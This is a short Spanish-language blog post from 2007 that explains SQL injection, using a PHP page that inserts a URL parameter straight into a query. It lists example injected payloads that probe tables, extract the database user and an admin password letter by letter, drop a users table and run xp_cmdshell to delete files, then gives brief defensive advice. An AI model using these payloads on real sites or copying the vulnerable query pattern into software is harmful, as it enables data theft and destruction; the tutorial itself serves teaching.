martes, 28 de agosto de 2007

SQL Injection I, Básico

Hola holita.

Bueno, como veo que no hay suficientes enlaces en google explicando esta vulnerabilidad, voy a explicar muy brévemente qué es, y en sucesivas entregas iré divagando en diferentes variantes de dicha técnica.

Póngamos un ejemplo que lo explique fácilmente ...

Imagino que muchos habremos hecho algo como lo siguiente:

http://www.mipagina.com/index.php?p=4

Y en el código php:

$sql = "SELECT PAGINWEB FROM PAGINAS WHERE ID=$_GET['p']";

donde el sql formado sería ...

SELECT PAGINWEB FROM PAGINAS WHERE ID=4

Pues bien, imagino (y espero que no ...) que muchos no habrá comprobado que se pueda poner lo siguiente:

http://www.mipagina.com/index.php?p=4 and 1=1

donde el sql formado sería:

SELECT PAGINWEB FROM PAGINAS WHERE ID=4 and 1=1

Es decir, cuando añadimos and 1=1 se cargará la página 4 correctamente, y si ponemos and 1=2 se cargará una página errónea. Hasta aquí todo correcto, y lo único que podemos saber es cuando una select es correcta o no. Pero os preguntaréis para qué me sirve todo esto. Pues bien, con esto puedo averiguar lo siguiente:


  • Si existe una tabla. Si al "injectar" la siguiente consulta nos da la página p=4, sabremos que la tabla USUARIOS existe, en caso contrario, si aparece una página errónea sabremos que no existe dicha la tabla.

SELECT PAGINAWEB FROM PAGINAS WHERE ID=4 EXISTS (SELECT * FROM USUARIOS)


  • Averiguar el usuario de base de datos es muy fácil. La siguiente sentencia devuelve la página correcta si el código unicode de la primera letra del usuario de base de datos es menor que 100. Letra a letra podrémos averiguar el nombre completeo del usuario:

SELECT PAGINAWEB FROM PAGINAS WHERE ID=4 and 100 > ASCII(substring(user(),1, 1))


  • De forma muy parecida a lo anterior, si conoces la tabla y el nombre de los campos de los usuarios registrados en la web puedes conocer los datos de estos:

SELECT PAGINAWEB FROM PAGINAS WHERE ID=4 AND 100 > ASCII(substring( (SELECT LOGIN FROM USUARIOS WHERE ID=1) ,1, 1))


  • Si tenemos suerte y la contraseña no está codificada en base de datos ... :
SELECT PAGINAWEB FROM PAGINAS WHERE ID=4 AND 100 > ASCII(substring( (SELECT PASSWORD FROM USUARIOS WHERE LOGIN='admin') ,1, 1))

  • Ejecutar código sql ...
SELECT PAGINAWEB FROM PAGINAS WHERE ID=4 ; DROP TABLE USUARIOS

  • Ejecutar algunos comandos en el sistema operativo (por ejemplo si se usa SQL Server):

SELECT PAGINAWEB FROM PAGINAS WHERE ID=4 ; ; exec master.dbo.xp_cmdshell 'del *.*';


... y un largo e imaginativo etcétera ...

Todo lo anterior está condicionado al tipo de sistema operativo, servidor web, servidor de base de datos, privilegios del usuario de base de datos, método para formar el SQL final, etc ... así que lo arriba expuesto es una web bastante poco protegida, es decir, es en el peor de los casos.

¿Cómo protegernos de esto? Pues una solución sería utilizar procedimientos almacenados en todas nuestras llamadas al servidor SQL (sea cual sea), aunque esto a veces tampoco es muy efectivo,... pero esto ya da para otra entrada en el blog ...

Así que ya sabéis, hay que tener mucho cuidado al formar nuestras consultas SQL.

Ta lue.

No hay comentarios: